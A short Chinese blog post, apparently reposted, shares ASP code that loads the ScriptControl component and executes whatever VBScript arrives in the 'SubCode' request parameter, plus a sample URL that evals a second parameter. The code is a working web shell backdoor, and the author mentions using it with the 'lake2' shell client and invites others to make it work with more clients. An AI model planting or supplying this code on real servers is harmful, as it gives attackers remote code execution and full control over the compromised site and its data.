今天重新研究了下VB裡面的ScriptControl組件,發現asp裡面也能調用。研究了下方法,後來和lcx討論了下。得到了如下代碼,在此感謝前輩的指點,呵呵。
代碼很簡單,我就不多做解釋了,以免有人罵我裝。
復制代碼 代碼如下:
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '參數SubCode作為過程代碼
o.run "e",Server,Response,Request,Application,Session,Error '參數名e 調用之,同時壓入6個基對象作為參數
'調用示例:
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29
%>
注意,雖然能用了,但是實驗發現只有lake2客戶端能用。希望有牛人出來改得通用一點。呵呵。自己寫個客戶端專用也不錯。
轉自:http://hi.baidu.com/ylbhz/blog